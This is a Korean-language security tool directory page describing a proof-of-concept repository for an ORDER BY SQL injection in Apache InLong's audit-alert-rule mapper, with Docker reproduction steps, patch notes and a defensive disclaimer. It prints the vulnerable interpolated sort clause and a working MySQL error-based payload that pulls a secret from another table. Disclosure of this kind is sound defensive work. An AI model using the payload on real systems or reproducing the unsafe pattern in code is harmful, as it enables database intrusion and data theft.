Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-63039 — CVE-2026-63039에 대한 개념 증명(PoC)으로, Apache InLong의 AuditAlertRule에서 orderField/orderType를 통한 ORDER BY SQL 인젝션을 시연하며, Docker 기반 재현기와 수정 검증을 포함합니다. | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-63039
Vulnerability AnalysisExploitationWeb Application ExploitationPapers & ResearchLearning & Education
GitHuboscerd/cve-2026-63039

CVE-2026-63039

CVE-2026-63039에 대한 개념 증명(PoC)으로, Apache InLong의 AuditAlertRule에서 orderField/orderType를 통한 ORDER BY SQL 인젝션을 시연하며, Docker 기반 재현기와 수정 검증을 포함합니다.

저장소 보기
8시간 30분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-63039 — Apache InLong AuditAlertRule ORDER BY SQL 인젝션

Apache InLong의 audit-alert-rule 쿼리에서 발생하는 SQL 인젝션에 대한 실행 가능한 개념 증명(PoC) 재현기입니다.

InLong manager 매퍼 AuditAlertRuleEntityMapper.selectByCondition는 안전한 MyBatis #{} 파라미터로 필터링하지만, 두 요청 필드를 ${} 문자열 보간으로 정렬합니다.

root@kitploit:~
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml  (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}

orderField와 orderType는 페이지 요청(AuditAlertRulePageRequest)에서 비롯되므로 공격자가 통제할 수 있으며 SQL에 그대로 연결됩니다 — 즉 ORDER BY SQL 인젝션(CWE-89)입니다. 이 PoC는 MySQL 오류 기반(error-based) 페이로드를 orderField에 주입하여 관계없는 테이블에서 비밀값을 읽어냄으로써 임의 데이터 노출을 입증합니다.

실행

root@kitploit:~
mvn -q -DskipTests package
docker compose up --build     # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v

취약한 코드 경로에서의 예상 출력:

root@kitploit:~
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
      AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
      ...
[2] Malicious request (orderField = error-based payload):
      orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
      extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true

취약점 요약

패치 사항

Apache InLong 2.4.0은 orderField / orderType이 매퍼에 도달하기 전에 알려진 정렬 가능한 컬럼과 방향의 허용 목록(allowlist)과 대조하여 검증합니다(ORDER BY 컬럼 이름은 #{} 파라미터로 바인딩할 수 없으므로 정렬 입력값은 파라미터화가 아닌 검증이 필요합니다).

이 저장소의 MyBatis 매퍼, 엔티티 및 요청 pojo는 InLong 원본을 그대로 반영하므로 인젝션 싱크(order by ${request.orderField} ${request.orderType})가 있는 그대로 재현됩니다.

면책 조항

이 저장소는 교육 및 방어 목적으로 게시되었습니다: Apache InLong 사용자가 취약점을 이해하고, 영향 여부를 확인하며, 업그레이드로 해결되는지 확인하는 데 도움을 주기 위함입니다. 페이로드는 로컬 테이블의 데모 비밀값만 읽습니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.

도구 다운로드
속성값
프로젝트Apache InLong — manager (AuditAlertRuleService / AuditAlertRuleEntityMapper)
분류CWE-89 SQL 명령에 사용되는 특수 요소의 부적절한 중화('SQL 인젝션')
공격 벡터audit-alert-rule 페이지 요청의 orderField / orderType 필드
영향InLong manager 데이터베이스에 대한 임의 SQL 실행 / 데이터 노출
영향받는 버전2.0.0 이상 2.4.0 미만
수정된 버전2.4.0
권고CVE-2026-63039
크레딧Andrea Cosentino